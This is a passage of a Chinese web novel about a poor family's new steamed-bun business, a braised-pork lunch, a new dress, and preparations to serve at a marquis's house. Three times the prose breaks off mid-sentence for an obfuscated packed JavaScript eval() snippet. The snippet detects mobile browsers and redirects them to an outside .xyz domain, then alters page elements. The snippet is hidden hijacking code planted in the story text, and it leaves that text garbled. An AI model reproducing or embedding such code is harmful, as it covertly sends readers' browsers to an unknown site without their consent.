吸吸鼻子，崔如英又道：“葱就好说了，一斤肉半斤葱，按照这个来，每天的包子味道差不多。肉馅儿一定得炒熟了，每一粒儿跟每一粒儿分开，这样包的馅才不会成一个肉丸子。”崔如英人小，轮的胳膊疼，崔大山就把铲子接了过来。 他力气大，翻得更均匀，崔如英捧场道：“爹，就是这样的，爹，你炒的可真好。” 崔大山不太好意思地说道：“我这也是按照你说的弄的。” 做爹娘的不想儿女劳累，今儿馅儿是许娘子自己拌的，崔如英在旁边托着下巴看着，哪儿不对了，就指一下，“娘你做的已经挺好了，但是你把水放进去后绕着一个圈搅会更好更快。” 许娘子试了试，“还真是。” 崔如英：“这馅儿拌的，可比那卖了好几年包子弄的好多了。” 许娘子低着头道：“哪儿有。” 包包子就不用崔如英操心了，许娘子会，崔大山也会，想包成一样大小的也不难。包好的包子还得一会儿蒸熟呢，许娘子对崔如英道：“你再回去睡会儿。” 太早了，大人还好，但她看崔如英一早已经打了五六个哈欠了。 崔如英问：“那娘，今儿还用我去卖包子吗？” 许娘子想了想，自己还是张不开那个嘴，三丫在还好一点，让二丫去更不成，“去，今儿你是还想吃油条还是吃啥？” 崔如英道：“想尝尝阳春面，那娘还给我钱不？” 许娘子刚想说昨天不给了四文吗，可看着笑盈盈的女儿，也问不出了，道了声给。 崔如英：“那我去睡觉了，娘你一会儿叫我！” 崔如英去屋里看了眼六丫，如今四郎跟着崔大郎睡，五郎六丫都跟着崔大山许娘子睡，俩孩子睡得沉，雷打不动的。 崔如英回自己的小屋子，里面有个小木床，还有个小柜子，是崔大山给她打的。 被子里还有热气，钻进去没一会儿她就睡着了。 许娘子崔大山还在包包子，蒸了一锅，还有一锅呢。 油灯下，许娘子白净的面庞显得十分温柔，“等我和三丫去了侯府，家里你就多看着些，早晨跟大郎去卖包子，二丫是姑娘家，你和大郎多干点。 等我走之前把白米和小米磨成粉，每天冲米糊糊给六丫吃，我还抽空回来呢，等到后头喂些鸡蛋羹啥的，家里没鸡蛋了你买也成，去刘姐家换也成，到时拿俩包子过去，别空着手。 等着攒点钱了，我还是想让大郎继续读书。 这事儿还早呢，到时候再说吧。” 许娘子絮絮叨叨的，崔大山耐心听着，眼睛里带着笑意。 他时不时搭一句话，“好，行，家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800771|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里就交给我，有啥事儿你就让三丫往回跑，我有啥事儿也让三丫回去告诉你。” 许娘子长叹口气，道：“还好生了三丫这么个灵透孩子，要不然可得熬呢。” * 崔如英是被许娘子喊醒的，包子已经蒸好了，由崔大山搬上推车，拿绳子绑好。 油纸钱匣子许娘子也放车上了，二丫在看孩子，崔大郎在厨房看着另一锅包子。 崔如英闭着眼，一边听着小鸡仔的叽喳声，一边被许娘子抱到车上。 崔大山推着车快步往街上赶，吹了会儿冷风，崔如英终于醒透了。 一回生两回熟，等到了街上，因为今儿来的早，还占了个不错的位置。 卸蒸锅的时候就有人等着了，问道：“这是崔家包子吧。” 崔如英打起精神，看是昨天那婶子，就笑着道：“婶子，你眼神真好，就是崔家包子，等我爹娘把车卸了就能卖了。” 那人煞有介事地点点头，“你家包子不错。 崔如英：“你就放心吧，一大早看着我爹娘包的，肯定好吃。” 蒸锅架在了两把椅子上，从上往下卖，这婶子买了四个包子，八文钱到手，平铺在钱匣子底下。 崔如英也没来得及喊，说来买包子的络绎不绝有些夸张，但卖的比昨天快。 蒸锅是够的，昨天崔大山又做了几个，不过还得赶着回去去拿另外几屉包子。 崔大山回家了，崔如英跟许娘子在这儿叫卖，崔如英时不时吆喝几声，坐在小板凳上跟客人搭话，“您就放心吧，我家的包子好吃得很，你看着皮儿薄馅儿大的，是不是从外头就能看出馅儿大了！” 这肉炒过的确占便宜，看起来馅儿也多。再加上甜咸口一咬，满口留香，尝过的人一时半会儿还真不想吃别的。 崔如英今儿还看见昨日第一个来买包子的那个壮汉了，她对许娘子道：“娘，送大叔一个包子吧，昨儿生意开门红，还多亏了大叔呢。” 许娘子给多拿了个包子，也学着崔如英的话道：“好吃，下次……常过来。” 今日比昨天容易，许娘子就专心装包子，崔如英还能分出心思来盯着钱匣子。 也是因为位置好，这一车都快卖完了，崔大山还没过来。 崔如英数了数锅里的包子，还有四个，她跟等着的人道：“就剩四个了，我爹还得一会儿，要是不着急的，可以等等看。要是着急咱们还是去吃别的去吧，可别耽误了正经事儿。” 众人也觉得稀奇，这小姑娘说话一板一眼的，跟个大人似的。 有人着急走了，也有人在这儿等着，不多时崔大山就推着车过来了。 家里还有两屉没蒸好，今儿生意比昨儿好，应该都能卖出去。 天色见亮，太阳升起，最后就还剩一屉多包子，许娘子也不着急了，给了崔如英两文钱说道：“吃阳春面去吧。” 一碗素面一文钱，这还能加个蛋。 因为收鸡蛋也要不了一文钱一个，面摊老板卖一文一个蛋，还有的赚呢。 崔如英点点头，顺着街找到卖阳春面的摊子，找了张桌子坐下，“大叔，我要一碗阳春面，再给我加个蛋！” 面摊老板看过去，这么小还一个人来吃饭，他微微弯下腰，“小姑娘，要煎蛋还是茶叶蛋呢？” 8. 第八章 想吃肉 说实话，这两个崔如英都想吃，但是囊中羞涩，纠结了一番说道：“煎蛋吧。” 煎蛋跟阳春面配，茶叶蛋跟板面比较配。 这阳春面摊开了好几年了，煮面用的是骨头汤，面碗里放着葱花盐酱油，还有一小块白花花，亮晶晶的猪油。 面是拉的细面丝，煮好之后堆在碗里，然后浇一勺骨头汤，撒点葱花。煎蛋是用旁边锅煎的，颜色金黄，把煎好的蛋往面上一卧，这阳春面就做好了。 崔如英拿筷子拌了拌，又低头闻了闻，真香。 骨头汤和猪油弄得汤面，能不香吗。 崔如英把煎蛋往汤里泡了泡，先吃了口面，崔家很少吃汤面，这一口，面滑劲道，还有嚼劲儿。 煎蛋崔如英也咬了口，吸了汤汁，带着猪油和鸡蛋的香味儿。 一碗面吃的肚子溜圆，等吃完面回去，许娘子包子也快卖完了，剩两个打算拿回去给孩子吃。 母女俩把空的竹屉放到车上，又绑好绳子，许娘子像来时一样让崔如英上车上坐下来，她给推回去。 崔如英摇了摇头，“娘我吃饱了，得走一会儿。” 可不是心疼许娘子一个人推不动。 听女儿吃饱了，许娘子笑了笑，“喜欢吃明儿还吃。” 一大早起来忙碌劳累，又站了一个多时辰卖包子，许娘子这会儿还没吃饭呢。饥肠辘辘，手脚也酸软，可看着崔如英蹦蹦跳跳的，她感觉好像没那么累了。 崔如英道：“明儿吃啥再说，娘，我现在还不饿。” 许娘子笑了笑，“那中午可说好了，吃红薯。” 今天蒸了十屉包子，听崔大山说后面那一锅包子就两屉，怕废柴火，就把家里的红薯也蒸了，他和崔大郎一人拿了两个，中午吃。 崔如英：“行，吃红薯也行。” 包子卖的就剩两个，钱匣子的底都满了，不过许娘子依旧省着花。 太阳升起，没抹黑出来是那么冷，许娘子心里有奔头。 把车推回巷子里，各家各户都开了门，不过时辰还早，还没啥人出来说话。 许娘子也不怕人看见，街上人来人往的，再过几天都该知道崔家去卖包子做生意了，她本本分分赚钱，没偷没抢，有啥可怕的。 相反，她还因为赚了钱，腰杆子直了点。 谁再说把六丫送走的。 到了家，许娘子先把车上的东西给卸下来，竹屉要刷干净，锅、活馅儿的大盆，还有菜刀……这些都要洗，还得忙活好一阵呢。 做吃食得干净，许娘子也希望别人能吃得放心。 再说了，她还想把生意长久地做下去，哪怕没读过书，不认识几个大字，许娘子也知道，做生意要踏实，不能三天打鱼两天晒网。 崔如英把钱匣子抱到屋里去，她感觉钱匣子沉甸甸的，今儿蒸了十屉，一屉就算十七个的话，那也卖了三百多文钱呢。 利润占一大半，估计能有二百来文。 好是好，只不过做生意起早贪黑，风里来雨里去，头一天崔如英还兴致勃勃，都没用许娘子喊自己就醒了，这才第二天，她就起不来了。 而且这两天天气好，要是等下雨了，估计街上没人出摊。 每天摆摊不是长久之计，虽然也赚钱，可不能安于现状，接下来就得攒钱盘铺子。 小摊子卖包子顶天了，但铺子不一样。 不过许娘子和崔大山很满意现在的日子，再来两日，就能抵上崔大山一个月在木匠坊赚的钱了，小门小户，市井人家，能赚这么多钱其实已经很不错了。 崔如英把钱匣子放床上，就去自己小屋往床上一躺。 腿酸，胳膊累，还是躺着舒服。 晨起风吹着，吹得崔如英昏昏欲睡。 二丫在看着妹妹，四郎五郎早起吃了红薯就去地里抓虫子了，一人背了一个好大的竹篓。 钱匣子就在床上，二丫好奇赚了多少钱，但也没多看。 过了一会儿，许娘子快步进来，她差点把钱给忘了。 家里人她倒不担心，几个孩子都是手脚干净的人，就怕一会儿有人来串门子，一进屋看着这么摆大个钱匣子。 钱匣子就在床上，许娘子道：“你俩也不知道给放柜子里。” 二丫：“三丫放的。” 崔如英不困了，她从床上起来，“娘，我等着你数钱呢。” 许娘子又笑着问她，“你估摸着今儿能有多少钱？” 崔如英道：“三百四十文吧。” 许娘子道：“娘数数。” 许娘子突然记起那晚也数钱来着，家里四百二十个铜板，半块碎银子，翻来覆去数了好几遍也没多几个。 加一块还不足一两呢。 那时一边数一边发愁，听着叮叮当的响声，心也凉了半截。 可这两回不一样，数一个心里就高兴一分。 许娘子数钱，崔如英和二丫就在旁边看着，一个两个，十五二十，许娘子有时候数串了，崔如英就提一句，“娘，到一百三十二了。” 许娘子恍然，继续往下数，“一百三十二……二百三十二……三百三十二……” 许娘子一直数到了三百四十四。 大约是有几笼包子放了十八个。 今儿用了五斤肉，差不多十斤面。 算上别的零零散散的差不多花了一百二十文，赚的有二百来文呢。 许娘子数一百个铜板就串成一串，这样整整齐齐躺在钱匣子里还怪喜人的。 这钱还得分出来一些买明日包包子的面，今儿还能把布扯了，至于吃肉，许娘子依旧精打细算，不是还带回来两个肉包子吗。 前几天刚吃的肉包子，还想吃啥肉。 这算着今天的，家里还有二两半银子，七百来文钱，不少了。等她去侯府，每月还能拿三两月钱呢。 许娘子打算看看过些日子能赚多少，到时候给家里留点周转应急，然后进侯府也带点儿，剩下的就藏起来。 二丫痴痴道：“娘，好多钱。” 许娘子笑着说：“娘也没想过有这么多钱。” 能早一点做这个就好了，不过现在也不晚，许娘子心里又起了一股劲儿，她把钱匣子锁在柜子里，“二丫你看着六丫，三丫你再睡会儿，娘去把蒸屉刷了。” 崔如英又睡了一觉。 吃了阳春面，肚子饱饱的还暖和，这一觉直接睡到中午吃饭。 中午家里吃的蒸红薯，每天都有大骨头炖菜，头一回吃倒也还好，有肉味就不错了，但是天天吃，崔如英姐觉得，一碗阳春面对不起她这么早起来。 谁能天天吃白菜呀，好吃的东西还不能天天吃呢，更何况吃白菜。 崔如英费力地咽着红薯，问许娘子：“娘，咱们明天蒸多少包子？” 说实话，许娘子觉得这样也就够了。若是天天都能有二百文钱赚，那一个月就有五六两银子，不过天气不好不出摊，就赚不了这么多。 她也是没想过一个个小商贩，穿的普普通通，却能赚这么钱。 盛京城有钱的人还是多。 许娘子本分惯了，今天能做多蒸两屉已实属不易，再多她怕卖不出去，“还这么多吧。” 崔如英道：“娘要不再来两屉吧，我跟二丫包，赚的钱给个十几文，咱明天家里中午吃顿肉吧，剩下的我俩也不要。” 崔二丫：“娘，我也能包。” 她想帮忙包包子，吃肉倒是其次。 许娘子道：“这不刚吃的肉包子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800772|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早上让你吃肉包子你不吃。” 崔如英觉得红薯噎人，“我想吃大米饭和炖肉，娘，咱们都是一回蒸四屉包子，两屉多费柴火呀。” 许娘子没立刻答应，她道：“行了行了先吃饭……” 吃过饭，许娘子对两个女儿道：“咱们看明天生意咋样，要是阴天下雨出不了摊，那就不吃肉，要是能出摊，包子全给卖出去，咱们就吃。” 崔如英道：“娘你真好，你就是天底下最好的娘。明天都不用娘动手，我跟二姐就能把饭给做好，到时候叫大哥跟爹也回来吃。娘，你真是好娘！我这就去喂小鸡！” 许娘子瞪了崔如英一眼，“就你话多。” 崔如英才不害怕呢，反正她想吃肉，也赚钱了，家里孩子嘴馋想吃个肉怎么了？ 不然起早贪黑赚钱为了什么，就给崔大郎娶媳妇啊？ 二丫也高兴，那这么说她不是也能包包子了吗？包包子能赚钱能帮衬家里。 下午崔如英觉都没睡，隔一会儿就看看小鸡，又看看外面太阳高挂，没啥云彩，这才放心回屋。 许娘子不知何时扯了布回来，在院子里给崔大郎和崔如英做衣裳。去侯府要带的东西还不少呢，吃住都在那边，也给家里省钱了。 到时被子就带家里吧，她拆洗拆洗，就不做新的了。 崔如英今天最害怕的就是听到打雷声，幸好下午晚上啥事没有。 第二天一大早，崔如英是在家里人的说话声中醒的，也许是一日比一日天长，外面虽然黑，可也能看见宅院的轮廓。 崔大山已经把包子装好了，今天没用崔如英调馅儿。 崔如英揉揉眼睛，伸手的时候碰见一个软绵绵热乎乎的，吓得坐起来，一看，六丫在她旁边睡得正香。 正懵着，二丫从外头进来，“三丫，起来卖包子去了。” 她包了好多包子呢。 说着把六丫抱走。 崔如英晃了晃脑袋，对了，今天能买肉去。 卖包子是一天比一天容易，积累了两天回头客，都不怎么用崔如英吆喝，包子就能卖出去。 崔如英还借口肚子饿，尝了半个，她原本担心她不做馅儿，味道跟以前不一样，好在许娘子靠谱，味道没啥差别。 隔几天再吃还挺好吃的。 许娘子今天也能笑呵呵的跟人打招呼，比方说让人下次还来，慢点走，小心烫。带崔如英过来，倒像是壮胆儿的。 十二屉包子卖得比平日久，因为说好了要吃肉，许娘子等到最后一个卖完才回去。 崔如英今天也没喊去吃早饭，把剩下的半个包子啃了，“娘，快给钱，我去买肉。” 一家人配着菜怎么也得两三斤肉，一斤瘦肉九文钱，许娘子数了二十七个铜板，崔如英却摇摇头说不够，“娘，今天尝尝五花肉吧，那个肉肥，香。” 崔如英仰着头冲许娘子笑，露了好几颗牙。 她总刷牙，牙比家里人白，长得又好看，许娘子也不忍心拒绝的。 五花肉做红烧肉吃，也做咸口的，家里不是还有鸡蛋吗，煮了放进去一起炖。 最好呀把五花肉的肥油都炖出来，剩下的肉汤炖粉条吃，肯定比骨头炖着吃好吃。 想着女儿今天也没张罗要去吃早饭，干活也卖力，许娘子又数了九个铜板出来。“好好拿着，可别弄丢了。” 家里人多嘴多，想吃一顿肉，就得花不少钱。 要是没来卖包子，无论如何许娘子也舍不得。 崔如英跑得飞快，肉摊上摆着好多肉，排骨梅花前腿后腿，崔如英问：“大叔今天五花肉多少钱一斤？” “还是十二文。” 崔如英问：“买多能不能便宜点儿？我家常来，我要三斤呢！” 9. 第九章 新衣裳 老板麻溜切肉，“小本生意，不过我家这称准得很呢，你看，高高的，再给你搭两根骨头吧。” 这样也行，给了钱接了肉，崔如英一手提一样，飞快朝着家跑。 许娘子先推车回家，崔如英一路跑，跑到一半把许娘子给超了。 许娘子让崔如英跑慢点，“肉又没长腿，你跑那么快作什么？放车上，也不嫌沉。” 崔如英着急呀，这都什么时辰了，本来今天就收摊晚，这肉又切又焯又炖，得好大一会儿呢，她能不着急吗？ “一点都不沉！” 很快，声音都跑到崔如英身后了。 许娘子是发现了，三丫平日懒，但自己上心的事，不怕麻烦不怕累的。 一路跑回家，二丫看着崔如英手上的肉问：“咋这多肉，娘呢？” 崔如英：“后头后头。” 二丫回屋把六丫左右用被子和枕头给挡上，就去接许娘子了，许娘子也推着车到门口了，二丫就在院子里帮忙卸车搬东西了。 蒸屉空空，包子都卖出去了，今儿她还帮忙了，这里面也有她的一份功劳。 许娘子还要刷竹屉，她让崔如英等她来炖肉，“你别瞎忙活！” 崔如英道：“娘，你就看我弄的包子馅儿那么好吃，就知道炖的肉不会差了。再说你可以让二姐看着我，要是瞎弄，她可以去跟你告状。” 许娘子炖的肉可难吃了，和崔大山炖鸡汤异曲同工，炖出来的汤多，瘦肉干柴，肥肉还有些腻。 这可是三斤上好的五花肉，崔如英可不想糟蹋了。 崔二丫低着头道：“谁稀罕告状了……” 许娘子眉头一皱，“二丫，你看着你妹去。” 崔如英已经开始翻箱倒柜找调料了。 家里还有一些陈年旧香料，花椒八角，崔如英还找到了桂皮香叶，也不知哪年买的，但看着没发霉，应该还能用。 糖罐里还剩一点糖，正好够炒糖色，崔如英扯着嗓子喊，“娘，糖该买了。” 许娘子没理，崔如英也没在意，她把这些东西都洗干净，这就算齐活了。 二丫在旁边盯着，崔如英支使她切肉烧水，“二姐你把肉切成这么大的小块儿，再给我烧一锅水。” 想吃肉得干活，二丫点点头，肉切好之后，崔如英就开始烧水焯肉了，家里没料酒，崔大山也不喝，所以崔如英多放了小葱。 东西不全，步骤能省则省，好在肉还算新鲜，把里面的血水一焯，崔如英又踩着凳子把锅刷了。 家里的大锅最不好刷，舀水进去，涮干净再把水舀出来才行，来回几次，锅才刷干净。 许娘子喜欢炖肥肉，是觉得许久不吃肉，肥肉吃着香，可崔如英更喜欢吃肥而不腻的。所以要把里面的猪油煎出来，这样才不会那么腻人。 煎好之后，把肉盛出来，煎出来的油也不少，可以留着以后炒菜吃。 过日子就得精打细算。 锅里留一点油炒糖色，一锅底猪油，一罐子底白糖。灶膛下面柴火噼里啪啦的，白糖在锅底慢慢融化，从细砂变成糖水又变成焦褐色的糖浆。 崔如英这才把五花肉块儿给倒进去，三斤肉，切成小块也有半锅，这样看着一点都不少。 煎的金黄的肉慢慢裹上焦褐色的糖色，明明还没熟，但看着已经很有食欲了。 崔如英费劲的拿着铲子翻肉，二丫看着，默不作声地把铲子接了过去，等翻得差不多了，她问道：“然后呢？” 崔如英：“得倒热水。” 二丫力气比崔如英大，她去提炉子上烧的热水，哗啦一声全给倒锅里，热水溅到锅边，热气一下子全从锅里冒出来了。 厨房水汽烟雾绕在一起，崔如英咳了好几声。 二丫看着水上飘着油花和褐色，又见崔如英往里放东西，家里的盐大酱八角桂皮有什么放什么，葱是最多的，跟许娘子炖肉是不太一样，“三丫，然后呢？” 下面火烧得旺，因为是开水没一会儿锅又开了。 崔如英舔舔嘴唇，“然后等着就行了。” 二丫好像能闻到一点香味儿了。 崔如英又去烧水煮鸡蛋。 家里还有六个鸡蛋，崔如英谨慎地拿了四个，再多怕许娘子骂她。 这个时代没有高压锅，想要把肉炖得软烂，就等小火慢炖，幸好崔大山是做木匠的，不用担心废柴火。 许娘子中间还进来一回，看着像模像样没吭声又出去了。 她在井边吭哧吭哧地刷着竹屉，而屋里鸡蛋已经煮熟了。 剥了皮，崔如英又把煮好的鸡蛋放了进去，这肯定比茶叶蛋还香还好吃。 煮了一会儿，四郎五郎也回来了，讨好地往崔如英身边凑，“三姐，你看我俩抓了好多虫子和蚂蚱！” 今天比哪天都卖力，崔大山扎的竹篓子，几乎满了。 崔如英最怕虫子，看了一眼头发都要竖起来了，“你快把这个拿远点儿！” 四郎把竹篓放外面，“坏虫子吓我三姐，姐你看我已经拿出去了，姐，你炖肉呐。” 早知道家里要炖肉，不然也不会这么早回来，今儿可不用闻别人家的肉香了。 崔如英道：“还没好，先喂鸡去。” 四郎：“我这就去，再让我看一眼。” 二丫看看崔如英，崔如英也看看二丫，二丫摸摸脸，“看我干啥？” 崔如英道：“姐，不蒸米饭，那咱们中午吃什么？” 二丫拍了自己大腿，光守着锅，把米饭的事都给忘了。大锅占着，得用炉子蒸，家里人多，要是蒸白米饭，得下去好多米，所以向来是一半小米一半大米这样掺着吃。 也香，而且不那么扎人。 崔如英不管蒸米饭的事儿，专心添火，偶尔揭开锅盖看看，看着一块块五花肉在汤里沉沉浮浮，心里莫名满足。 若是许娘子只知道给崔大郎攒钱盖房子娶媳妇，她才不会帮着赚钱。 她又不傻。 一个上午，四郎进出四遍，许娘子进来看了两遍，还有人来串门，正巧许娘子在外面做衣裳，都没请人进屋坐。 到中午，天更暖和了，崔如英守在锅旁边，脸上已经出了不少汗。 再揭开锅时，汤已经少了一些，五花肉被炖得小了一圈儿，肉皮呈红褐色，晶莹剔透，肥肉不是那种肉白色，反而透着莹润的油光。 崔如英咽了咽口水，从回来到现在日头高挂，都炖了这么久，应该差不多了，她道：“我先尝一块。” 舀了一块肉出来，崔如英猛吹几口，顾不得烫，先咬的肉皮。 肉皮肥而不腻，软绵绵的直粘牙。没错，她想吃的就是这样的，虽然差了点香辛味，可肉香味儿很重。 咸味恰到好处，五花肥瘦相间，瘦肉已经软了，就靠中间的肥肉黏着，软而不散，不愧是一点柴火一点柴火添着烧出来的。 二丫吸着鼻子，好奇地问：“咋样？” 崔如英：“没尝出来，我再尝一块儿。” 颤颤巍巍的红烧肉，要是配着白米饭肯定更香。 第二块吃完，崔如英中肯道：“还行。” 二丫也想尝尝，可是没那个胆子。 四郎跟五郎在门外眼巴巴看着，崔如英又舀了一块，一分为三，一口塞二丫嘴里，另外两口给两个弟弟分着吃了。 就一小口，是真没尝出味儿来，可舌尖的味道还留着，哪里还行，分明是好香。 崔如英道：“行了，四郎过来烧火，烧旺一点儿，还得收收汤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800773|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 许娘子做菜喜欢多留些汤，这样还能炖菜，只不过要想肉好吃，汤就不能多。 直接吃咸淡差不多，但还有米饭呢。 收了汤肉才能更入味，汤汁也更粘稠，到时候想炖菜再加水就行了，反正蒸出去的多是水。 这是崔如英等了一个下午加一个晚上和一个上午的红烧肉，整整一天，终于吃上了。 二丫焖了一大锅饭，今儿就这一锅肉，都没做别的菜。 临近正午，崔大山和崔大郎从外面回来，俩人身上都是木屑，去井边洗了洗才进屋。 许娘子揭开锅盖看了看，能不能吃，光看也能看出来。一锅肉没糊锅，闻着还怪香的。 崔如英催二丫去盛饭，二丫偷偷对许娘子说：“娘，这肉好吃。” 许娘子能说什么，“知道了，赶紧收拾收拾开饭了。” 崔大山一脸笑，早上说吃肉，中午就真有肉吃。他看锅里全是肉，四个圆滚滚的好像是鸡蛋，连个菜都没有 六丫还喝奶呢，五郎不大，也吃不了太多，他和许娘子少吃点儿，够孩子们可劲儿吃了。 许娘子弯着腰盛肉，把一盆肉都端上了桌，崔如英已经坐在椅子上等好了。二丫给她盛的饭，白米饭还多点。 等许娘子说句快吃吧，崔如英也没等着别人，先往碗里夹了两块红烧肉，又舀了勺肉汤，就这样平铺在饭上，筷子拌了拌，往嘴里扒了一大口，这一口是真香。 不是肉包子的味道，也不像阳春面和油条豆浆的热乎和满足，这是实打实的一块肉，肥瘦相间的香气直接拌着米饭吃到嘴里，让崔如英顾不得别的。 许娘子尝了尝女儿的手艺，神色微愣，是好吃。 比她炖的好吃多了，别看三丫不爱干活，总往外面跑，可也有往外跑的好处。 崔如英这顿是吃的心满意足，肉吃完了就夹，盆里还有呢，至于别人舍不得吃，她就不管了。 人多不敢伸筷子，那就什么都吃不到。 鸡蛋也香香的，若是有个馒头，把肉和鸡蛋夹里面，肯定更好吃。 一顿饭吃完，五郎脑仁晕乎乎的，困得直接去睡觉了。崔如英感觉吃完脑袋发重，毕竟卖了包子看了一上午的锅，也坚持不住回屋了。 还剩一点肉和肉汤，许娘子收拾出来放在碗柜里，明儿放点白菜，炖着吃。 至于空了的糖罐子和少了的香料，许娘子想着中午的肉味儿，咬咬牙，不计较了。 父子俩还得上工，不过许娘子把崔大山叫住，“你试试衣裳，还合身不，不成下午我改改。” 崔大山：“这么快就做好了？” 许娘子道：“又不费事儿。” 崔大山去试了试，腰间有些肥，不过不妨事，“正正好，面等我下工了再买，怪沉的。” 许娘子道：“也成。” 一个下午，许娘子就给崔如英做衣裳，本来差不多了，就等崔如英醒了试试合不合身，但她想起那日去侯府，一个丫鬟穿的都比自己女儿好看。 三丫才七岁，也爱漂亮。 许娘子又把袖子套在最小的绣棚上，绣了几朵淡黄色的小花。 也春天了，女孩子家，还是得好看点儿。 许娘子把两个袖子都绣好，然后叠起来放到崔如英小床边。 崔如英睡得很香，许娘子看着女儿想，这包包子崔大山现在也能做的差不多，再有几日熟悉，卖包子的事儿就交给崔大山。 她和三丫也该收拾收拾去侯府了。 * 崔如英醒的时候伸手摸了摸，她怕六丫又在她床上，谁知道没摸到人，却摸到了新衣裳。 许娘子给她做的新衣是淡绿色的，颜色很是清亮，抖开一看，袖口上还有几朵小黄花。 10. 第十章 去侯府 崔如英醒的时候伸手摸了摸，她怕六丫又在她床上，谁知道没摸到人，却摸到了新衣裳。 许娘子给她做的新衣是淡绿色的，颜色很是清亮，抖开一看，袖口上还有几朵小黄花。 因为上头有个姐姐，崔如英长这么大，都是穿二丫的旧衣服。 刚出生时家里还算有点钱，可是那会儿豆丁大，等长大了，家里就越来越穷了。 不过许娘子手艺好，她对衣裳也没那么多要求，穿旧的就穿旧的吧，要不是因为要去侯府了，她还真穿不了新衣。 家里孩子多都是这样过来的，像五郎，现在穿的还是崔大郎小时候的旧衣呢。洗的次数多，也软和舒服。 有新衣自然高兴，况且许娘子还给她衣服上绣了花。 许娘子没说话，许是不在家里。 崔如英二话没说把衣裳给换上，有点大，不过正是长个子的时候，若是不做大些，明年就穿不下了，这么多孩子呢，家里耗不起料子。 换好衣服崔如英就往外跑，许娘子在家门口跟刘婶儿说话，刘婶儿打量了打量崔如英，“哎呀，这是新衣裳吧。” 崔如英笑了笑，“婶子，打我记事儿穿的都是我二姐的旧衣，我娘终于给我做身新衣裳了，婶子你看好看不？” 说着，崔如英还转了一圈儿。 崔如英长得白，总往街上跑也不见黑，大眼睛，樱桃小嘴，鼻子秀气，穿上这么一身淡绿色可不好看极了。 刘婶儿点了点头，“是好看。” 崔如英道：“也是我娘手艺好，看着小花绣的，是吧娘。” 许娘子道：“行了行了，让你看看合不合身，还得洗洗呢。” 崔如英道：“合身，那我回屋换了去。” 许娘子不好意思对刘婶儿一笑，“这孩子，我也没辙。” 说了半天闲话，终于说到正经事儿上了，许娘子道：“家里孩子多，刘姐，过几日我就去侯府了，家里还得托你多照看点。” 刘婶儿道：“成，我再打听打听有没有刚生产的妇人，到时候抱着六丫去喝些奶，有空你再给人家拿些东西，也全了两家的情分，街坊邻居不在乎这些小事。” 许娘子给刘婶儿了两条帕子，她手艺不错，一条帕子能卖两文钱。 刘婶儿把帕子收下，也没问崔家卖包子的事儿，各家的营生，打听那个作什么。 今儿初八了，算着从侯府回来那日，已经过去了四天。 许娘子回屋抱了抱六丫，六丫一日比一日大，性子乖巧听话，也不爱哭闹。 许娘子是真舍不得孩子，她身上掉下来的肉，这么小，若不是为了家里，哪个母亲舍得下孩子。 她有想过，有了卖包子的营生，就算不去侯府做奶娘也能养活一家人，好好做着生意，夫妻俩忙活比一个人忙活强，但再想想一个月三两银算顶天了，这还不算赏钱，比卖包子稳妥。 再说侯府那也得罪不起，她给小公子做奶娘，也是一条门路。 反正一个包子摊崔大山就能忙活过来，她还是去侯府吧，这样也能多攒些银子。 后头这几日都不用崔如英包包子，去卖包子也是在一旁看着，生意稳当了，崔大山就把木匠活给辞了，带着崔大郎一个人买面买肉，有时二丫也早起跟着包包子，崔大山还抽空新做了辆小车，正好能把竹屉卡上，推着也更省劲儿。 除此之外，还做了个刻着崔记酱肉包的木牌子，和招牌差不多，这样客人下次也能找过来。 东西差不多置办齐全了，十二这日崔如英都没去卖包子，十二屉也卖光了。 现在家里的生意已经不用她操心了。 这是好事儿，等她和许娘子去了侯府，家里也能赚钱。 崔如英这两日在收拾东西，衣裳行李，说是跟着许娘子住，倒不知住多久。 也不知那边规矩如何，她手里只有五个铜板，还是每日吃早餐出去买肉“省”下来的，想从许娘子这拿钱难如登天。 别看崔家挺疼孩子的，但是给她拿大笔钱，许娘子可不会干这事儿。 就连许娘子锁着柜子的钥匙崔如英都不知道在哪儿，就算知道也没用，因为许娘子已经趁家里孩子睡觉的时候，把钱匣子藏起来了。 所以想赚钱还是得自己来。 崔如英打算去安定侯府碰碰运气，不成就回家，跟着崔大山卖包子了，还能再往摊子上添点别的小生意。 也快，从初六到今天家里已经卖了七天包子，也赚了些钱， 除了第一天赚了一百六十文，后头的几天每天都能上二百文，十二屉包子都卖光的那几日，一天差不多能有二百五十文。 短短七日，家里已经积攒了一吊钱另六百文，这是崔如英大概估算的，算上家里本来的钱，应该有四两五钱银子。 这些日子还花了不少呢，要不然更多。 